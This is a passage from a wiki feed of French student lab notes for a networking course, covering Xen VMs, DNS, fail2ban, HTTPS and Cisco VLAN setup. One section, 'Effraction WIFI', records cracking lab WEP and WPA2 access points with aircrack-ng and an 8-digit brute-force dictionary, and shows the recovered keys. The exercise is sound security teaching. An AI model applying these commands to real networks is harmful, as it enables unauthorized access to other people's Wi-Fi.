authentication key-management wpa&lt;br /&gt;
mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
encryption vlan 24 mode ciphers aes-ccm                  &lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.24&lt;br /&gt;
encapsulation dot1Q 24&lt;br /&gt;
bridge-group 24&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio0&lt;br /&gt;
ssid VM_SERVICES_14&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fe19:f03c&lt;/div&gt;</summary>
		<author><name>Abiernac</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12225</id>
		<title>Atelier SysRes SE4 2025/2026 E14</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E14&amp;diff=12225"/>
		<updated>2026-02-10T17:18:22Z</updated>

		<summary type="html">&lt;p&gt;Abiernac : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Projet de virtualisation ===&lt;br /&gt;
&lt;br /&gt;
==== Atelier système et réseau, les machines virtuelles ====&lt;br /&gt;
&lt;br /&gt;
===== Création des machines virtuelles =====&lt;br /&gt;
Nous avons créé deux machines avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.batman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.catwoman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2G&lt;br /&gt;
root@capbreton:~# xen-create-image --hostname=SE4.superman --dhcp --bridge=pont_ironman --dir=/usr/local/xen --size=10GB --dist=excalibur --memory=2G&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_ironman&lt;br /&gt;
iface pont_ironman inet manual&lt;br /&gt;
        bridge_ports none&lt;br /&gt;
        up ip link set $IFACE up&lt;br /&gt;
        down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.catwoman.cfg&lt;br /&gt;
xen create /etc/xen/SE4.superman.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_ironman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.batman&lt;br /&gt;
xen console SE4.catwoman&lt;br /&gt;
xen console SE4.superman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.batman.home -L 10G virtual&lt;br /&gt;
lvcreate -n SE4.batman.var -L 10G virtual&lt;br /&gt;
disk        = [&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/disk.img,xvda2,w&#039;,&lt;br /&gt;
                  &#039;file:/usr/local/xen/domains/SE4.batman/swap.img,xvda1,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.home,xvdb,w&#039;,&lt;br /&gt;
                  &#039;phy:/dev/virtual/SE4.batman.var,xvdc,w&#039;,&lt;br /&gt;
              ]&lt;br /&gt;
             &lt;br /&gt;
                &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;modif le fichier &amp;lt;code&amp;gt;/etc/fstab&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvdb /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdc /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;sur terminal&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb&lt;br /&gt;
mkfs -t ext4 /dev/xvdc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ensuite : &amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mount /dev/xvdb /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.10.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.169/27&lt;br /&gt;
    gateway 193.48.57.162&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;accées internet&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt update&lt;br /&gt;
apt install ntp ntpdate host&lt;br /&gt;
apt install ntpsec ntpsec-ntpdate host&lt;br /&gt;
date &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;ssh des machines de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Dans /etc/xen/SE4.batman.cfg&lt;br /&gt;
    vif = [ &#039;mac=00:16:3E:FA:18:CF,bridge=pont_ironman&#039;, &#039;mac=00:16:3E:FA:18:D0,bridge=SE4&#039; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite :&lt;br /&gt;
    xen shutdown SE4.batman&lt;br /&gt;
    xen create /etc/xen/SE4.batman.cfg&lt;br /&gt;
    &lt;br /&gt;
Dans /etc/network/interfaces&lt;br /&gt;
    auto eth1&lt;br /&gt;
    iface eth1 inet6 auto&lt;br /&gt;
    &lt;br /&gt;
Dans batman :&lt;br /&gt;
    reboot&lt;br /&gt;
    ifdown eth1; ifup eth1&lt;br /&gt;
    &lt;br /&gt;
Depuis capbreton :&lt;br /&gt;
    ssh root@&amp;lt;ipv6_eth1_batman&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== mascarade ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.69.0/24&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;et créé le fichier /etc/sysctl.conf puis mettre&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== redirection de port pour ssh ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2202 -j DNAT --to-destination 192.168.69.2:22&lt;br /&gt;
iptables -t nat -A PREROUTING -p tcp --dport 2203 -j DNAT --to-destination 192.168.69.3:22&lt;br /&gt;
iptables-save&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nous avons aussi installer &amp;lt;code&amp;gt;iptables-persistent&amp;lt;/code&amp;gt; pour eviter de perdre la configuration a chaque reboot.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
apt install iptables-persistant&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Génération de la clé pour le certificat sur batman&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout deadpool.tech.key -out ddeadpool.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:deadpool.tech&lt;br /&gt;
Email Address []:antonin.biernacki@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Sur catwoman&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
openssl req -nodes -newkey rsa:2048 -sha256 -keyout dardevil.tech.key -out dardevil.csr&lt;br /&gt;
&lt;br /&gt;
Country Name (2 letter code) [AU]:FR&lt;br /&gt;
State or Province Name (full name) [Some-State]:Nord&lt;br /&gt;
Locality Name (eg, city) []:Lille&lt;br /&gt;
Organization Name (eg, company) [Internet Widgits Pty Ltd]:PolytechLille&lt;br /&gt;
Organizational Unit Name (eg, section) []:IOT&lt;br /&gt;
Common Name (e.g. server FQDN or YOUR name) []:dardevil.tech&lt;br /&gt;
Email Address []:billel.cheklat@polytech-lille.net&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Creation d&#039;un repertoire keys avec les droits nécessaires&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
mkdir /etc/bind/keys &lt;br /&gt;
chown bind:bind /etc/bind/keys &lt;br /&gt;
chmod 750 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;DNS&lt;br /&gt;
&lt;br /&gt;
Modification de /etc/bind/named.conf.local&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
        keys {&lt;br /&gt;
                ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
                zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        };&lt;br /&gt;
        nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;deadpool.tech&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.deadpool.tech&amp;quot;;&lt;br /&gt;
        allow-transfer{secondaries;};&lt;br /&gt;
        notify yes;&lt;br /&gt;
        key-directory &amp;quot;/etc/bind/keys&amp;quot;;&lt;br /&gt;
        dnssec-policy &amp;quot;dnspol&amp;quot;;&lt;br /&gt;
        inline-signing yes;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
        192.168.69.3;&lt;br /&gt;
        2001:660:4401:60a0:216:3eff:fe8f:4743;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
PARTIE COMMENTEE&lt;br /&gt;
zone &amp;quot;dardevil.tech&amp;quot; {&lt;br /&gt;
        type secondary;&lt;br /&gt;
        file &amp;quot;/etc/bind/backup/db.dardevil.tech&amp;quot;;&lt;br /&gt;
        masters{2001:660:4401:60a0:216:3eff:fe8f:4743;};&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création d&#039;un dossier zones dans /etc/bind et y créer le fichier db.deadpool.tech&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 400&lt;br /&gt;
&lt;br /&gt;
@ IN SOA ns.deadpool.tech. admin.deadpool.tech. (&lt;br /&gt;
        3609      ; Version&lt;br /&gt;
        21600     ; Refresh&lt;br /&gt;
        3600      ; Retry&lt;br /&gt;
        2592000   ; Expire&lt;br /&gt;
        86400     ; Minimum TTL&lt;br /&gt;
&lt;br /&gt;
);&lt;br /&gt;
&lt;br /&gt;
@ IN NS ns.dardevil.tech.&lt;br /&gt;
@ IN NS ns.deadpool.tech.&lt;br /&gt;
&lt;br /&gt;
ns IN A 193.48.57.169&lt;br /&gt;
ns IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
@ IN A 193.48.57.169&lt;br /&gt;
@ IN AAAA 2001:660:4401:60a0:216:3eff:fe8f:4743&lt;br /&gt;
&lt;br /&gt;
www IN CNAME deadpool.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification du fichier /etc/resolv.conf (il faut commenter tous les autres servers)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
search deadpool.tech&lt;br /&gt;
search dardevil.tech&lt;br /&gt;
nameserver 192.168.69.2&lt;br /&gt;
nameserver 192.168.69.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour restart le service &amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Si il y a des erreurs la commande suivante permet de les identifier&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
named-checkconf /etc/bind/named.conf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester le DNS depuis la machine de service&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig @localhost deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Modification sur Gandi au niveau des deux noms de domaine&lt;br /&gt;
&lt;br /&gt;
Création d&#039;un blue record pour chacun des noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech&lt;br /&gt;
193.48.57.169 // adresse IPv4 de la mandataire&lt;br /&gt;
2001:660:4401:60a0:216:3eff:fefa:18d0 // adresse IPv6 de la machine de service&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ajout de external nameserver pour chacun des deux noms de domaine&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ns.deadpool.tech	// nom de domaine&lt;br /&gt;
ns.dardevil.tech	// l&#039;autre nom de domaine&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour tester depuis l&#039;extérieur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dig deadpool.tech&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fail2ban ===&lt;br /&gt;
Il faut commencer par installer fail2ban&lt;br /&gt;
&lt;br /&gt;
Ensuite il faut créer un fichier jail.local dans le dossier /etc/fail2ban&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
[sshd] &lt;br /&gt;
enable = true&lt;br /&gt;
port = ssh&lt;br /&gt;
filter = sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour éviter un warning sur allowipv6 il faut décommenter les lignes suivantes dans fail2ban.conf (ligne 58 à 62)&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
Option: allowipv6&lt;br /&gt;
Notes.: Allows IPv6 interface:&lt;br /&gt;
         Default: auto&lt;br /&gt;
Values: [ auto yes (on, true, 1) no (off, false, 0) ] Default: auto&lt;br /&gt;
allowipv6 = auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Enfin pour lancer le service il faut rentrer la cmd suivante&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
service fail2ban restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTTPS ===&lt;br /&gt;
Dans le dossier /etc/apache2/sites-available&lt;br /&gt;
&lt;br /&gt;
On met la clef deadpool.tech.key et les certificats GandiCert.pem et deadpool.tech.crt (tout a été trouvé sur Gandi)&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName deadpool.tech&lt;br /&gt;
        ServerAlias www.deadpool.tech&lt;br /&gt;
        Redirect permanent / https://deadpool.tech/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
        ServerAdmin webmaster@localhost&lt;br /&gt;
&lt;br /&gt;
        DocumentRoot /var/www/html&lt;br /&gt;
        &lt;br /&gt;
        ErrorLog ${APACHE_LOG_DIR}/error.log&lt;br /&gt;
        CustomLog ${APACHE_LOG_DIR}/access.log combined&lt;br /&gt;
        &lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        &lt;br /&gt;
        SSLCertificateFile      /etc/apache2/sites-available/deadpool.tech.crt&lt;br /&gt;
        SSLCertificateKeyFile   /etc/apache2/sites-available/deadpool.tech.key&lt;br /&gt;
        SSLCertificateChainFile /etc/apache2/sites-available/GandiCert.pem&lt;br /&gt;
        &lt;br /&gt;
        &amp;lt;FilesMatch &amp;quot;\.(?:cgi|shtml|phtml|php)$&amp;quot;&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
        &amp;lt;Directory /usr/lib/cgi-bin&amp;gt;&lt;br /&gt;
                SSLOptions +StdEnvVars&lt;br /&gt;
        &amp;lt;/Directory&amp;gt;&lt;br /&gt;
        &lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On entre ensuite les cmd suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
service apache restart&lt;br /&gt;
a2ensite default-ssl.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Effraction WIFI ===&lt;br /&gt;
&lt;br /&gt;
==== premiere partie ====&lt;br /&gt;
On travaille sur la zabeth13 parce que cette machine a une carte réseau fonctionnelle pour faire le TP.&lt;br /&gt;
&lt;br /&gt;
La commande suivante permet de d&#039;identifier l&#039;interface WIFI qui nous intéresse :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ip link&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici l&#039;interface qui nous intéresse est wlan1&lt;br /&gt;
&lt;br /&gt;
Donc nous pouvons lancer la commande suivante afin d&#039;identifier l&#039;adresse IP de notre cracotte14.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans la liste nous avons en effet la cracotte14 sur le channel 4 et l&#039;adresse ip suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 04:DA:D2:9C:50:5D  -62      231        0    0   4   54e. WEP  WEP         cracotte14&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin nous pouvons lancer la commande&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlan1 --bssid 04:DA:D2:9C:50:5d -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Dans notre cas la carte réseau de la zabeth13 disfonctionne. Donc Mr Redon me donne une cléUSB Wifi pour pouvoir travailler. De plus les cracotte s&#039;arrête au 13 donc je dois prendre la cracotte02.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --bssid 04:DA:D2:9C:50:51 -c4 --write log_airodump&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Après un certain temps on peut entrer la commande suivante pour voir si un résultat à été trouvé&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
aircrack-ng log_airodump-05.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résultat suivant est le bon on a un KEY FOUND !!&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
                                                                                                 Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                                   [00:00:00] Tested 808 keys (got 54157 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/ 13   FF(75008) AF(66048) C6(65536) A6(62464) E3(61952) 20(61696) EC(61696) E8(61440) 13(61184) 30(61184) F3(61184) FD(60928) F1(60672) 27(60416) 41(60416) 5D(60416) 8D(60416)&lt;br /&gt;
    1    0/  1   01(81152) 78(64256) 13(63232) AC(63232) E6(62720) 48(61952) 91(61952) 92(61696) AB(61696) 74(61440) 56(61184) A8(61184) 4A(60928) C9(60928) 17(60672) 35(60416) F2(60416)&lt;br /&gt;
    2    9/  2   D2(60416) D5(60160) DF(60160) 44(59904) 7A(59904) 99(59904) AD(59904) 15(59648) 2A(59648) 31(59648) 67(59648) E6(59648) 0D(59392) 16(59392) 7E(59392) DC(59392) 5B(59136)&lt;br /&gt;
    3    0/  1   08(79360) 1D(63744) 7D(61952) 1B(61184) CB(60928) A3(60672) 85(60160) 58(59904) AC(59904) 11(59648) 53(59648) 9C(59648) EA(59648) 81(59392) 84(59392) AA(59392) B1(59392)&lt;br /&gt;
    4    8/  4   9A(61440) 22(61184) DB(61184) D7(60928) 48(60672) 88(60672) 36(60416) 14(59904) 57(59904) 5C(59904) 8D(59904) CF(59904) 04(59136) 20(58880) 39(58880) B4(58880) D5(58880)&lt;br /&gt;
&lt;br /&gt;
             KEY FOUND! [ FF:FF:FF:FF:FA:BC:03:CB:AE:EE:EE:EE:EE ]&lt;br /&gt;
        Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Seconde partie ====&lt;br /&gt;
On s&#039;interesse maintenant à la kracotte02 via la commande précédente on trouve :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
44:AD:D9:5F:87:01  -47        5        0    0  13   54e. WPA2 CCMP   PSK  kracotte02&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour forcer ce mot de passe par force brut nous créons via un fichier Python un dictionnaire contenant toutes les possibilités sur 8 chiffres. Pour lancer ce programme on utilise Python3&amp;lt;syntaxhighlight lang=&amp;quot;python3&amp;quot;&amp;gt;&lt;br /&gt;
with open(&amp;quot;dictionnaire_8_chiffres.txt&amp;quot;, &amp;quot;w&amp;quot;) as f:&lt;br /&gt;
    for i in range(100000000):&lt;br /&gt;
        f.write(f&amp;quot;{i:08d}\n&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le commande suivante doit être lancée&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin on peut lancer la méthode par force brute via la commande suivante&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo airodump-ng wlx40a5efd21410 --write airodumpWPA --bssid 44:AD:D9:5F:87:01 -c13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Le résutat peut-être observé via la commande :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo aircrack-ng -w dictionnaire_8_chiffres.txt -b 44:AD:D9:5F:87:01 airodumpWPA-03.cap&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
                               Aircrack-ng 1.7&lt;br /&gt;
&lt;br /&gt;
      [00:37:28] 66655552/100000000 keys tested (29360.85 k/s)&lt;br /&gt;
&lt;br /&gt;
      Time left: 18 minutes, 55 seconds                         66.66%&lt;br /&gt;
&lt;br /&gt;
                           KEY FOUND! [ 66688666 ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      Master Key     : A4 3E 9E 85 7D D3 4E 0C 2C D4 D9 1C 4F 08 1A 0C&lt;br /&gt;
                       B4 BA B2 64 8C 24 38 C5 DD 27 81 8E CE 2C F4 CA&lt;br /&gt;
&lt;br /&gt;
      Transient Key  : AA 75 80 E5 F3 77 C2 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
                       00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00&lt;br /&gt;
&lt;br /&gt;
      EAPOL HMAC     : 97 42 1A DB B7 EE FB 19 C3 7C EA 9E 29 99 0A 4B&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Vlan ===&lt;br /&gt;
Depuis la machine batman on se ssh sur le routeur&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entrez ensuite les commandes suivantes pour le dhcp :&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#ip dhcp pool PoolAntonin&lt;br /&gt;
C9200-E304(dhcp-config)#network 10.60.14.0 255.255.255.0&lt;br /&gt;
C9200-E304(dhcp-config)#dns-server 193.48.57.169&lt;br /&gt;
C9200-E304(dhcp-config)#default-router 10.60.14.254&lt;br /&gt;
C9200-E304(dhcp-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Enfin pour vérifier les commandes ont données ce que l&#039;on souhaite&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304#show running-config&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Création du Vlan24&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304&amp;gt;en&lt;br /&gt;
C9200-E304&amp;gt;configure&lt;br /&gt;
C9200-E304(config)#Vlan 24&lt;br /&gt;
C9200-E304(vlan-config)#name PoolAntonin&lt;br /&gt;
C9200-E304(vlan-config)#exit&lt;br /&gt;
C9200-E304(config)#exit&lt;br /&gt;
C9200-E304&amp;gt;write&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour VRRP on peut entrer les commandes suivantes&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C9200-E304(config)#interface Vlan24&lt;br /&gt;
C9200-E304(config-if)#ip address 10.60.14.2 255.255.255.0&lt;br /&gt;
C9200-E304(config-if)#ipv6 address 2001:660:4401:60ae::2/64&lt;br /&gt;
C9200-E304(config-if)#vrrp 24 address-family ipv4&lt;br /&gt;
C9200-E304(config-if-vrrp)#priority 110&lt;br /&gt;
C9200-E304(config-if-vrrp)#address 10.60.14.1 primary&lt;br /&gt;
C9200-E304(config-if-vrrp)#exit-vrrp&lt;br /&gt;
C9200-E304(config-if)#end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour se ssh sur le wifi&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-rsa -oCiphers=+aes128-cbc admin@172.27.0.4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
